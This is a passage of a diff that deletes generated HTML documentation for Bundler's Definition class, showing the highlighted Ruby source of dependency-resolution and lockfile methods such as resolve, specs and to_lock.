-121:       <span class="ruby-ivar">@requested_specs</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-122:         <span class="ruby-identifier">groups</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">groups</span> <span class="ruby-operator">-</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">without</span>
-123:         <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">map!</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">g</span><span class="ruby-operator">|</span> <span class="ruby-identifier">g</span>.<span class="ruby-identifier">to_sym</span> }
-124:         <span class="ruby-identifier">specs_for</span>(<span class="ruby-identifier">groups</span>)
-125:       <span class="ruby-keyword kw">end</span>
-126:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="resolve-method" class="method-detail ">
-				<a name="method-i-resolve"></a>
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-				<div class="method-heading">
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-					<span class="method-name">resolve</span><span
-						class="method-args">()</span>
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-					<div class="method-source-code"
-						id="resolve-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 138</span>
-138:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">resolve</span>
-139:       <span class="ruby-ivar">@resolve</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-140:         <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:frozen</span>]
-141:           <span class="ruby-ivar">@locked_specs</span>
-142:         <span class="ruby-keyword kw">else</span>
-143:           <span class="ruby-identifier">last_resolve</span> = <span class="ruby-identifier">converge_locked_specs</span>
-144:           <span class="ruby-identifier">source_requirements</span> = {}
-145:           <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-146:             <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>
-147:             <span class="ruby-identifier">source_requirements</span>[<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>] = <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">specs</span>
-148:           <span class="ruby-keyword kw">end</span>
-149: 
-150:           <span class="ruby-comment cmt"># Run a resolve against the locally available gems</span>
-151:           <span class="ruby-identifier">last_resolve</span>.<span class="ruby-identifier">merge</span> <span class="ruby-constant">Resolver</span>.<span class="ruby-identifier">resolve</span>(<span class="ruby-identifier">expanded_dependencies</span>, <span class="ruby-identifier">index</span>, <span class="ruby-identifier">source_requirements</span>, <span class="ruby-identifier">last_resolve</span>)
-152:         <span class="ruby-keyword kw">end</span>
-153:       <span class="ruby-keyword kw">end</span>
-154:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
-		
-			<div id="resolve-remotely--method" class="method-detail ">
-				<a name="method-i-resolve_remotely%21"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">resolve_remotely!</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-					<div class="method-source-code"
-						id="resolve-remotely--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 81</span>
-81:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">resolve_remotely!</span>
-82:       <span class="ruby-identifier">raise</span> <span class="ruby-value str">&quot;Specs already loaded&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@specs</span>
-83:       <span class="ruby-ivar">@remote</span> = <span class="ruby-keyword kw">true</span>
-84:       <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">remote!</span> }
-85:       <span class="ruby-identifier">specs</span>
-86:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
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-			<div id="resolve-with-cache--method" class="method-detail ">
-				<a name="method-i-resolve_with_cache%21"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">resolve_with_cache!</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="resolve-with-cache--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 75</span>
-75:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">resolve_with_cache!</span>
-76:       <span class="ruby-identifier">raise</span> <span class="ruby-value str">&quot;Specs already loaded&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@specs</span>
-77:       <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">cached!</span> }
-78:       <span class="ruby-identifier">specs</span>
-79:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
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-
-				
-
-				
-			</div>
-
-		
-			<div id="rubygems-index-method" class="method-detail ">
-				<a name="method-i-rubygems_index"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">rubygems_index</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-					<div class="method-source-code"
-						id="rubygems-index-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 164</span>
-164:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">rubygems_index</span>
-165:       <span class="ruby-ivar">@rubygems_index</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Index</span>.<span class="ruby-identifier">build</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">idx</span><span class="ruby-operator">|</span>
-166:         <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">find_all</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Rubygems</span>) }.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-167:           <span class="ruby-identifier">idx</span>.<span class="ruby-identifier">use</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">specs</span>
-168:         <span class="ruby-keyword kw">end</span>
-169:       <span class="ruby-keyword kw">end</span>
-170:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
-				
-
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-
-		
-			<div id="specs-method" class="method-detail ">
-				<a name="method-i-specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-					<div class="method-source-code"
-						id="specs-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 88</span>
- 88:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">specs</span>
- 89:       <span class="ruby-ivar">@specs</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
- 90:         <span class="ruby-identifier">specs</span> = <span class="ruby-identifier">resolve</span>.<span class="ruby-identifier">materialize</span>(<span class="ruby-identifier">requested_dependencies</span>)
- 91: 
- 92:         <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">specs</span>[<span class="ruby-value str">&quot;bundler&quot;</span>].<span class="ruby-identifier">any?</span>
- 93:           <span class="ruby-identifier">local</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:frozen</span>] <span class="ruby-operator">?</span> <span class="ruby-identifier">rubygems_index</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">index</span>
- 94:           <span class="ruby-identifier">bundler</span> = <span class="ruby-identifier">local</span>.<span class="ruby-identifier">search</span>(<span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-value str">'bundler'</span>, <span class="ruby-constant">VERSION</span>)).<span class="ruby-identifier">last</span>
- 95:           <span class="ruby-identifier">specs</span>[<span class="ruby-value str">&quot;bundler&quot;</span>] = <span class="ruby-identifier">bundler</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">bundler</span>
- 96:         <span class="ruby-keyword kw">end</span>
- 97: 
- 98:         <span class="ruby-identifier">specs</span>
- 99:       <span class="ruby-keyword kw">end</span>
-100:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
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-
-				
-
-				
-			</div>
-
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-				<a name="method-i-specs_for"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">specs_for</span><span
-						class="method-args">(groups)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
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-					
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-					<div class="method-source-code"
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 132</span>
-132:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">specs_for</span>(<span class="ruby-identifier">groups</span>)
-133:       <span class="ruby-identifier">deps</span> = <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">select</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> (<span class="ruby-identifier">d</span>.<span class="ruby-identifier">groups</span> &amp; <span class="ruby-identifier">groups</span>).<span class="ruby-identifier">any?</span> }
-134:       <span class="ruby-identifier">deps</span>.<span class="ruby-identifier">delete_if</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-operator">!</span><span class="ruby-identifier">d</span>.<span class="ruby-identifier">should_include?</span> }
-135:       <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">for</span>(<span class="ruby-identifier">expand_dependencies</span>(<span class="ruby-identifier">deps</span>))
-136:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="to-lock-method" class="method-detail ">
-				<a name="method-i-to_lock"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">to_lock</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="to-lock-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 197</span>
-197:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_lock</span>
-198:       <span class="ruby-identifier">out</span> = <span class="ruby-value str">&quot;&quot;</span>
-199: 
-200:       <span class="ruby-identifier">sorted_sources</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">source</span><span class="ruby-operator">|</span>
-201:         <span class="ruby-comment cmt"># Add the source header</span>
-202:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">source</span>.<span class="ruby-identifier">to_lock</span>
-203:         <span class="ruby-comment cmt"># Find all specs for this source</span>
-204:         <span class="ruby-identifier">resolve</span>.
-205:           <span class="ruby-identifier">select</span>  { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">source</span> }.
-206:           <span class="ruby-comment cmt"># This needs to be sorted by full name so that</span>
-207:           <span class="ruby-comment cmt"># gems with the same name, but different platform</span>
-208:           <span class="ruby-comment cmt"># are ordered consistantly</span>
-209:           <span class="ruby-identifier">sort_by</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">full_name</span> }.
-210:           <span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span>
-211:             <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'bundler'</span>
-212:             <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">to_lock</span>
-213:         <span class="ruby-keyword kw">end</span>
-214:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n&quot;</span>
-215:       <span class="ruby-keyword kw">end</span>
-216: 
-217:       <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;PLATFORMS\n&quot;</span>
-218: 
-219:       <span class="ruby-identifier">platforms</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-identifier">p</span>.<span class="ruby-identifier">to_s</span> }.<span class="ruby-identifier">sort</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span>
-220:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;  #{p}\n&quot;</span>
-221:       <span class="ruby-keyword kw">end</span>
-222: 
-223:       <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n&quot;</span>
-224:       <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;DEPENDENCIES\n&quot;</span>
-225: 
-226:       <span class="ruby-identifier">handled</span> = []
-227:       <span class="ruby-identifier">dependencies</span>.
-228:         <span class="ruby-identifier">sort_by</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">to_s</span> }.
-229:         <span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-230:           <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">handled</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>)
-231:           <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">to_lock</span>
-232:           <span class="ruby-identifier">handled</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>
-233:       <span class="ruby-keyword kw">end</span>
-234: 
-235:       <span class="ruby-identifier">out</span>
-236:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="converge-dependencies-method" class="method-detail ">
-				<a name="method-i-converge_dependencies"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">converge_dependencies</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="converge-dependencies-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 327</span>
-327:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">converge_dependencies</span>
-328:       (<span class="ruby-ivar">@dependencies</span> <span class="ruby-operator">+</span> <span class="ruby-ivar">@locked_deps</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-329:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>
-330:           <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span> = <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">s</span> }
-331:         <span class="ruby-keyword kw">end</span>
-332:       <span class="ruby-keyword kw">end</span>
-333:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="converge-locked-specs-method" class="method-detail ">
-				<a name="method-i-converge_locked_specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">converge_locked_specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Remove elements from the locked specs that are expired. This will most
-commonly happen if the Gemfile has changed since the lockfile was last
-generated
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="converge-locked-specs-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 338</span>
-338:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">converge_locked_specs</span>
-339:       <span class="ruby-identifier">deps</span> = []
-340: 
-341:       <span class="ruby-comment cmt"># Build a list of dependencies that are the same in the Gemfile</span>
-342:       <span class="ruby-comment cmt"># and Gemfile.lock. If the Gemfile modified a dependency, but</span>
-343:       <span class="ruby-comment cmt"># the gem in the Gemfile.lock still satisfies it, this is fine</span>
-344:       <span class="ruby-comment cmt"># too.</span>
-345:       <span class="ruby-ivar">@dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-346:         <span class="ruby-identifier">locked_dep</span> = <span class="ruby-ivar">@locked_deps</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">dep</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">d</span> }
-347: 
-348:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">in_locked_deps?</span>(<span class="ruby-identifier">dep</span>, <span class="ruby-identifier">locked_dep</span>) <span class="ruby-operator">||</span> <span class="ruby-identifier">satisfies_locked_spec?</span>(<span class="ruby-identifier">dep</span>)
-349:           <span class="ruby-identifier">deps</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dep</span>
-350:         <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Path</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">current_platform?</span> <span class="ruby-operator">&amp;&amp;</span> (<span class="ruby-operator">!</span><span class="ruby-identifier">locked_dep</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">!=</span> <span class="ruby-identifier">locked_dep</span>.<span class="ruby-identifier">source</span>)
-351:           <span class="ruby-ivar">@locked_specs</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-352:             <span class="ruby-ivar">@unlock</span>[<span class="ruby-value">:gems</span>] <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>
-353:           <span class="ruby-keyword kw">end</span>
-354: 
-355:           <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">unlock!</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:unlock!</span>)
-356:           <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">specs</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-ivar">@unlock</span>[<span class="ruby-value">:gems</span>] <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> }
-357:         <span class="ruby-keyword kw">end</span>
-358:       <span class="ruby-keyword kw">end</span>
-359: 
-360:       <span class="ruby-identifier">converged</span> = []
-361:       <span class="ruby-ivar">@locked_specs</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-362:         <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span> = <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">src</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">src</span> }
-363: 
-364:         <span class="ruby-comment cmt"># Don't add a spec to the list if its source is expired. For example,</span>
-365:         <span class="ruby-comment cmt"># if you change a Git gem to Rubygems.</span>
-366:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-operator">||</span> <span class="ruby-ivar">@unlock</span>[<span class="ruby-value">:sources</span>].<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span>)
-367:         <span class="ruby-comment cmt"># If the spec is from a path source and it doesn't exist anymore</span>
-368:         <span class="ruby-comment cmt"># then we just unlock it.</span>
-369: 
-370:         <span class="ruby-comment cmt"># Path sources have special logic</span>
-371:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">instance_of?</span>(<span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Path</span>)
-372:           <span class="ruby-identifier">other</span> = <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">specs</span>[<span class="ruby-identifier">s</span>].<span class="ruby-identifier">first</span>
-373: 
-374:           <span class="ruby-comment cmt"># If the spec is no longer in the path source, unlock it. This</span>
-375:           <span class="ruby-comment cmt"># commonly happens if the version changed in the gemspec</span>
-376:           <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">other</span>
-377: 
-378:           <span class="ruby-identifier">deps2</span> = <span class="ruby-identifier">other</span>.<span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">select</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">type</span> <span class="ruby-operator">!=</span> <span class="ruby-value">:development</span> }
-379:           <span class="ruby-comment cmt"># If the dependencies of the path source have changed, unlock it</span>
-380:           <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">sort</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">deps2</span>.<span class="ruby-identifier">sort</span>
-381:         <span class="ruby-keyword kw">end</span>
-382: 
-383:         <span class="ruby-identifier">converged</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">s</span>
-384:       <span class="ruby-keyword kw">end</span>
-385: 
-386:       <span class="ruby-identifier">resolve</span> = <span class="ruby-constant">SpecSet</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">converged</span>)
-387:       <span class="ruby-identifier">resolve</span> = <span class="ruby-identifier">resolve</span>.<span class="ruby-identifier">for</span>(<span class="ruby-identifier">expand_dependencies</span>(<span class="ruby-identifier">deps</span>, <span class="ruby-keyword kw">true</span>), <span class="ruby-ivar">@unlock</span>[<span class="ruby-value">:gems</span>])
-388:       <span class="ruby-identifier">diff</span>    = <span class="ruby-ivar">@locked_specs</span>.<span class="ruby-identifier">to_a</span> <span class="ruby-operator">-</span> <span class="ruby-identifier">resolve</span>.<span class="ruby-identifier">to_a</span>
-389: 
-390:       <span class="ruby-comment cmt"># Now, we unlock any sources that do not have anymore gems pinned to it</span>
-391:       <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">source</span><span class="ruby-operator">|</span>
-392:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">source</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:unlock!</span>)
-393: 
-394:         <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">resolve</span>.<span class="ruby-identifier">any?</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">source</span> }
-395:           <span class="ruby-identifier">source</span>.<span class="ruby-identifier">unlock!</span> <span class="ruby-keyword kw">if</span> <span class="ruby-operator">!</span><span class="ruby-identifier">diff</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">diff</span>.<span class="ruby-identifier">any?</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">source</span> }
-396:         <span class="ruby-keyword kw">end</span>
-397:       <span class="ruby-keyword kw">end</span>
-398: 
-399:       <span class="ruby-identifier">resolve</span>
-400:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="converge-sources-method" class="method-detail ">
-				<a name="method-i-converge_sources"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">converge_sources</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="converge-sources-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/definition.rb, line 310</span>
-310:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">converge_sources</span>
-311:       <span class="ruby-identifier">locked_gem</span> = <span class="ruby-ivar">@locked_sources</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Rubygems</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">s</span> }
-312:       <span class="ruby-identifier">actual_gem</span> = <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Rubygems</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">s</span> }
-313: 
-314:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">locked_gem</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">actual_gem</span>
-315:         <span class="ruby-identifier">locked_gem</span>.<span class="ruby-identifier">merge_remotes</span> <span class="ruby-identifier">actual_gem</span>
-316:       <span class="ruby-keyword kw">end</span>
-317: 
-318:       <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">map!</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">source</span><span class="ruby-operator">|</span>
-319:         <span class="ruby-ivar">@locked_sources</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">source</span> } <span class="ruby-operator">||</span> <span class="ruby-identifier">source</span>
-320:       <span class="ruby-keyword kw">end</span>
-321: 
-322:       <span class="ruby-ivar">@sources</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">source</span><span class="ruby-operator">|</span>
-323:         <span class="ruby-identifier">source</span>.<span class="ruby-identifier">unlock!</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">source</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:unlock!</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-ivar">@unlock</span>[<span class="ruby-value">:sources</span>].<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">source</span>.<span class="ruby-identifier">name</span>)
-324:       <span class="ruby-keyword kw">end</span>
-325:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="expand-dependencies-method" class="method-detail ">
-				<a name="method-i-expand_dependencies"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">expand_dependencies</span><span
-						class="method-args">(dependencies, remote = false)</span>
